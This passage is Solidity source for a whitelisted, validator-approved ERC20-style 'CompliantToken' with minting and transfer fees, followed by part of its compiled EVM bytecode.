function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
constructor(address _owner)
public
Ownable(_owner)
{
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
/**
* @title Validator
* @dev The Validator contract has a validator address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Validator {
address public validator;
event NewValidatorSet(address indexed previousOwner, address indexed newValidator);
/**
* @dev The Validator constructor sets the original `validator` of the contract to the sender
* account.
*/
constructor() public {
validator = msg.sender;
}
/**
* @dev Throws if called by any account other than the validator.
*/
modifier onlyValidator() {
require(msg.sender == validator);
_;
}
/**
* @dev Allows the current validator to transfer control of the contract to a newValidator.
* @param newValidator The address to become next validator.
*/
function setNewValidator(address newValidator) public onlyValidator {
require(newValidator != address(0));
emit NewValidatorSet(validator, newValidator);
validator = newValidator;
}
}
contract Whitelist is Ownable {
mapping(address => bool) internal investorMap;
event Approved(address indexed investor);
event Disapproved(address indexed investor);
constructor(address _owner)
public
Ownable(_owner)
{
}
function isInvestorApproved(address _investor) external view returns (bool) {
require(_investor != address(0));
return investorMap[_investor];
}
function approveInvestor(address toApprove) external onlyOwner {
investorMap[toApprove] = true;
emit Approved(toApprove);
}
function approveInvestorsInBulk(address[] toApprove) external onlyOwner {
for (uint i = 0; i < toApprove.length; i++) {
investorMap[toApprove[i]] = true;
emit Approved(toApprove[i]);
}
}
function disapproveInvestor(address toDisapprove) external onlyOwner {
delete investorMap[toDisapprove];
emit Disapproved(toDisapprove);
}
function disapproveInvestorsInBulk(address[] toDisapprove) external onlyOwner {
for (uint i = 0; i < toDisapprove.length; i++) {
delete investorMap[toDisapprove[i]];
emit Disapproved(toDisapprove[i]);
}
}
}
contract CompliantToken is Validator, MintableToken {
Whitelist public whiteListingContract;
struct TransactionStruct {
address from;
address to;
uint256 value;
uint256 fee;
address spender;
}
mapping (uint => TransactionStruct) public pendingTransactions;
mapping (address => mapping (address => uint256)) public pendingApprovalAmount;
uint256 public currentNonce = 0;
uint256 public transferFee;
address public feeRecipient;
modifier checkIsInvestorApproved(address _account) {
require(whiteListingContract.isInvestorApproved(_account));
_;
}
modifier checkIsAddressValid(address _account) {
require(_account != address(0));
_;
}
modifier checkIsValueValid(uint256 _value) {
require(_value > 0);
_;
}
event TransferRejected(
address indexed from,
address indexed to,
uint256 value,
uint256 indexed nonce,
uint256 reason
);
event TransferWithFee(
address indexed from,
address indexed to,
uint256 value,
uint256 fee
);
event RecordedPendingTransaction(
address indexed from,
address indexed to,
uint256 value,
uint256 fee,
address indexed spender
);
event WhiteListingContractSet(address indexed _whiteListingContract);
event FeeSet(uint256 indexed previousFee, uint256 indexed newFee);
event FeeRecipientSet(address indexed previousRecipient, address indexed newRecipient);
constructor(
address _owner,
address whitelistAddress,
address recipient,
uint256 fee
)
public
MintableToken(_owner)
Validator()
{
setWhitelistContract(whitelistAddress);
setFeeRecipient(recipient);
setFee(fee);
}
function setWhitelistContract(address whitelistAddress)
public
onlyValidator
checkIsAddressValid(whitelistAddress)
{
whiteListingContract = Whitelist(whitelistAddress);
emit WhiteListingContractSet(whiteListingContract);
}
function setFee(uint256 fee)
public
onlyValidator
{
emit FeeSet(transferFee, fee);
transferFee = fee;
}
function setFeeRecipient(address recipient)
public
onlyValidator
checkIsAddressValid(recipient)
{
emit FeeRecipientSet(feeRecipient, recipient);
feeRecipient = recipient;
}
function transfer(address _to, uint256 _value)
public
checkIsInvestorApproved(msg.sender)
checkIsInvestorApproved(_to)
checkIsValueValid(_value)
returns (bool)
{
uint256 pendingAmount = pendingApprovalAmount[msg.sender][address(0)];
if (msg.sender == feeRecipient) {
require(_value.add(pendingAmount) <= balances[msg.sender]);
pendingApprovalAmount[msg.sender][address(0)] = pendingAmount.add(_value);
} else {
require(_value.add(pendingAmount).add(transferFee) <= balances[msg.sender]);
pendingApprovalAmount[msg.sender][address(0)] = pendingAmount.add(_value).add(transferFee);
}
pendingTransactions[currentNonce] = TransactionStruct(
msg.sender,
_to,
_value,
transferFee,
address(0)
);
emit RecordedPendingTransaction(msg.sender, _to, _value, transferFee, address(0));
currentNonce++;
return true;
}
function transferFrom(address _from, address _to, uint256 _value)
public
checkIsInvestorApproved(_from)
checkIsInvestorApproved(_to)
checkIsValueValid(_value)
returns (bool)
{
uint256 allowedTransferAmount = allowed[_from][msg.sender];
uint256 pendingAmount = pendingApprovalAmount[_from][msg.sender];
if (_from == feeRecipient) {
require(_value.add(pendingAmount) <= balances[_from]);
require(_value.add(pendingAmount) <= allowedTransferAmount);
pendingApprovalAmount[_from][msg.sender] = pendingAmount.add(_value);
} else {
require(_value.add(pendingAmount).add(transferFee) <= balances[_from]);
require(_value.add(pendingAmount).add(transferFee) <= allowedTransferAmount);
pendingApprovalAmount[_from][msg.sender] = pendingAmount.add(_value).add(transferFee);
}
pendingTransactions[currentNonce] = TransactionStruct(
_from,
_to,
_value,
transferFee,
msg.sender
);
emit RecordedPendingTransaction(_from, _to, _value, transferFee, msg.sender);
currentNonce++;
return true;
}
function approveTransfer(uint256 nonce)
external
onlyValidator
checkIsInvestorApproved(pendingTransactions[nonce].from)
checkIsInvestorApproved(pendingTransactions[nonce].to)
checkIsValueValid(pendingTransactions[nonce].value)
returns (bool)
{
address from = pendingTransactions[nonce].from;
address spender = pendingTransactions[nonce].spender;
address to = pendingTransactions[nonce].to;
uint256 value = pendingTransactions[nonce].value;
uint256 allowedTransferAmount = allowed[from][spender];
uint256 pendingAmount = pendingApprovalAmount[from][spender];
uint256 fee = pendingTransactions[nonce].fee;
uint256 balanceFrom = balances[from];
uint256 balanceTo = balances[to];
delete pendingTransactions[nonce];
if (from == feeRecipient) {
fee = 0;
balanceFrom = balanceFrom.sub(value);
balanceTo = balanceTo.add(value);
if (spender != address(0)) {
allowedTransferAmount = allowedTransferAmount.sub(value);
}
pendingAmount = pendingAmount.sub(value);
} else {
balanceFrom = balanceFrom.sub(value.add(fee));
balanceTo = balanceTo.add(value);
balances[feeRecipient] = balances[feeRecipient].add(fee);
if (spender != address(0)) {
allowedTransferAmount = allowedTransferAmount.sub(value).sub(fee);
}
pendingAmount = pendingAmount.sub(value).sub(fee);
}
emit TransferWithFee(
from,
to,
value,
fee
);
emit Transfer(
from,
to,
value
);
balances[from] = balanceFrom;
balances[to] = balanceTo;
allowed[from][spender] = allowedTransferAmount;
pendingApprovalAmount[from][spender] = pendingAmount;
return true;
}
function rejectTransfer(uint256 nonce, uint256 reason)
external
onlyValidator
checkIsAddressValid(pendingTransactions[nonce].from)
{
address from = pendingTransactions[nonce].from;
address spender = pendingTransactions[nonce].spender;
if (from == feeRecipient) {
pendingApprovalAmount[from][spender] = pendingApprovalAmount[from][spender]
.sub(pendingTransactions[nonce].value);
} else {
pendingApprovalAmount[from][spender] = pendingApprovalAmount[from][spender]
.sub(pendingTransactions[nonce].value).sub(pendingTransactions[nonce].fee);
}
emit TransferRejected(
from,
pendingTransactions[nonce].to,
pendingTransactions[nonce].value,
nonce,
reason
);
delete pendingTransactions[nonce];
}
}
|
0x608060405260043610610154576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b14610159578063095ea7b31461018857806312f26140146101ed5780631456979f1461023057806318160ddd1461027357806318fb9dad1461029e57806323b872dd146103155780633a5381b51461039a57806340c10f19146103f1578063469048401461045657806363a8374d146104ad578063661884631461058e57806369fe0e2d146105f357806370a08231146106205780637d64bcb4146106775780638da5cb5b146106a6578063a9059cbb146106fd578063acb2ad6f14610762578063adb610a31461078d578063b0e1f553146107b8578063cacca4a01461080f578063d73dd62314610854578063dd62ed3e146108b9578063e5c31ddc14610930578063e74b981b14610967578063f2fde38b146109aa575b600080fd5b34801561016557600080fd5b5061016e6109ed565b604051808215151515815260200191505060405180910390f35b34801561019457600080fd5b506101d3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a00565b604051808215151515815260200191505060405180910390f35b3480156101f957600080fd5b5061022e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610af2565b005b34801561023c57600080fd5b50610271600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c34565b005b34801561027f57600080fd5b50610288610d89565b6040518082815260200191505060405180910390f35b3480156102aa57600080fd5b506102ff600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d93565b6040518082815260200191505060405180910390f35b34801561032157600080fd5b50610380600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db8565b604051808215151515815260200191505060405180910390f35b3480156103a657600080fd5b506103af6115a8565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103fd57600080fd5b5061043c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506115cd565b604051808215151515815260200191505060405180910390f35b34801561046257600080fd5b5061046b6117b5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104b957600080fd5b506104d8600480360381019080803590602001909291905050506117db565b604051808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019550505050505060405180910390f35b34801561059a57600080fd5b506105d9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611871565b604051808215151515815260200191505060405180910390f35b3480156105ff57600080fd5b5061061e60048036038101908080359060200190929190505050611b02565b005b34801561062c57600080fd5b50610661600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b97565b6040518082815260200191505060405180910390f35b34801561068357600080fd5b5061068c611be0565b604051808215151515815260200191505060405180910390f35b3480156106b257600080fd5b506106bb611ca8565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561070957600080fd5b50610748600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611cce565b604051808215151515815260200191505060405180910390f35b34801561076e57600080fd5b506107776123e7565b6040518082815260200191505060405180910390f35b34801561079957600080fd5b506107a26123ed565b6040518082815260200191505060405180910390f35b3480156107c457600080fd5b506107cd6123f3565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561081b57600080fd5b5061083a60048036038101908080359060200190929190505050612419565b604051808215151515815260200191505060405180910390f35b34801561086057600080fd5b5061089f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612f0d565b604051808215151515815260200191505060405180910390f35b3480156108c557600080fd5b5061091a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613109565b6040518082815260200191505060405180910390f35b34801561093c57600080fd5b506109656004803603810190808035906020019092919080359060200190929190505050613190565b005b34801561097357600080fd5b506109a8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506136fd565b005b3480156109b657600080fd5b506109eb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613856565b005b600460149054906101000a900460ff1681565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b4d57600080fd5b80600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610b8a57600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f770a556255467946acb4da5df8ae3bd252346205b8191641a036b89f441f975d60405160405180910390a25050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c8f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610ccb57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fb845aa14512b0a33bc681ec85e8670ad87301081c1a11343e30d5851ca5d206b60405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600254905090565b6007602052816000526040600020602052806000526040600020600091509150505481565b600080600085600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a59af340826040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015610e7b57600080fd5b505af1158015610e8f573d6000803e3d6000fd5b505050506040513d6020811015610ea557600080fd5b81019080805190602001909291905050501515610ec157600080fd5b85600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a59af340826040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015610f7f57600080fd5b505af1158015610f93573d6000803e3d6000fd5b505050506040513d6020811015610fa957600080fd5b81019080805190602001909291905050501515610fc557600080fd5b85600081111515610fd557600080fd5b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549450600760008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549350600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff16141561124257600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461117c85896139ae90919063ffffffff16565b1115151561118957600080fd5b8461119d85896139ae90919063ffffffff16565b111515156111aa57600080fd5b6111bd87856139ae90919063ffffffff16565b600760008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611393565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a960095461129b878b6139ae90919063ffffffff16565b6139ae90919063ffffffff16565b111515156112b657600080fd5b846112de6009546112d0878b6139ae90919063ffffffff16565b6139ae90919063ffffffff16565b111515156112eb57600080fd5b61131260095461130489876139ae90919063ffffffff16565b6139ae90919063ffffffff16565b600760008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60a0604051908101604052808a73ffffffffffffffffffffffffffffffffffffffff1681526020018973ffffffffffffffffffffffffffffffffffffffff16815260200188815260200160095481526020013373ffffffffffffffffffffffffffffffffffffffff1681525060066000600854815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550604082015181600201556060820151816003015560808201518160040160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055509050503373ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff167f101af8fa047579cb1a69a2659313fac0684cf0445068f53727dcd6942d7269438a600954604051808381526020018281526020019250505060405180910390a46008600081548092919060010191905055506001955050505050509392505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561162b57600080fd5b600460149054906101000a900460ff1615151561164757600080fd5b61165c826002546139ae90919063ffffffff16565b6002819055506116b482600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546139ae90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60066020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060020154908060030154908060040160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905085565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611982576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a16565b61199583826139cc90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b5d57600080fd5b806009547f74dbbbe280ef27b79a8a0c449d5ae2ba7a31849103241d0f98df70bbc9d03e3760405160405180910390a38060098190555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c3e57600080fd5b600460149054906101000a900460ff16151515611c5a57600080fd5b6001600460146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008033600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a59af340826040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015611d8f57600080fd5b505af1158015611da3573d6000803e3d6000fd5b505050506040513d6020811015611db957600080fd5b81019080805190602001909291905050501515611dd557600080fd5b84600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a59af340826040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015611e9357600080fd5b505af1158015611ea7573d6000803e3d6000fd5b505050506040513d6020811015611ebd57600080fd5b81019080805190602001909291905050501515611ed957600080fd5b84600081111515611ee957600080fd5b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549350600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156120b657600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461201185886139ae90919063ffffffff16565b1115151561201e57600080fd5b61203186856139ae90919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506121d2565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461211d60095461210f878a6139ae90919063ffffffff16565b6139ae90919063ffffffff16565b1115151561212a57600080fd5b61215160095461214388876139ae90919063ffffffff16565b6139ae90919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60a0604051908101604052803373ffffffffffffffffffffffffffffffffffffffff1681526020018873ffffffffffffffffffffffffffffffffffffffff1681526020018781526020016009548152602001600073ffffffffffffffffffffffffffffffffffffffff1681525060066000600854815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550604082015181600201556060820151816003015560808201518160040160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550905050600073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f101af8fa047579cb1a69a2659313fac0684cf0445068f53727dcd6942d72694389600954604051808381526020018281526020019250505060405180910390a4600860008154809291906001019190505550600194505050505092915050565b60095481565b60085481565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000806000806000806000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561248357600080fd5b600660008c815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a59af340826040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561257757600080fd5b505af115801561258b573d6000803e3d6000fd5b505050506040513d60208110156125a157600080fd5b810190808051906020019092919050505015156125bd57600080fd5b600660008d815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a59af340826040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156126b157600080fd5b505af11580156126c5573d6000803e3d6000fd5b505050506040513d60208110156126db57600080fd5b810190808051906020019092919050505015156126f757600080fd5b600660008e81526020019081526020016000206002015460008111151561271d57600080fd5b600660008f815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169b50600660008f815260200190815260200160002060040160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169a50600660008f815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169950600660008f8152602001908152602001600020600201549850600360008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549750600760008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549650600660008f8152602001908152602001600020600301549550600160008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549450600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549350600660008f8152602001908152602001600020600080820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690556001820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055600282016000905560038201600090556004820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690555050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168c73ffffffffffffffffffffffffffffffffffffffff161415612b015760009550612a8489866139cc90919063ffffffff16565b9450612a9989856139ae90919063ffffffff16565b9350600073ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff16141515612ae757612ae489896139cc90919063ffffffff16565b97505b612afa89886139cc90919063ffffffff16565b9650612c9c565b612b26612b17878b6139ae90919063ffffffff16565b866139cc90919063ffffffff16565b9450612b3b89856139ae90919063ffffffff16565b9350612bb18660016000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546139ae90919063ffffffff16565b60016000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff16141515612c7457612c7186612c638b8b6139cc90919063ffffffff16565b6139cc90919063ffffffff16565b97505b612c9986612c8b8b8a6139cc90919063ffffffff16565b6139cc90919063ffffffff16565b96505b8973ffffffffffffffffffffffffffffffffffffffff168c73ffffffffffffffffffffffffffffffffffffffff167f98bc3fe7d138931a49691b623c256b8812f2a3d7f9b25ba7098c82538977a5d08b89604051808381526020018281526020019250505060405180910390a38973ffffffffffffffffffffffffffffffffffffffff168c73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8b6040518082815260200191505060405180910390a384600160008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555083600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555087600360008e73fffff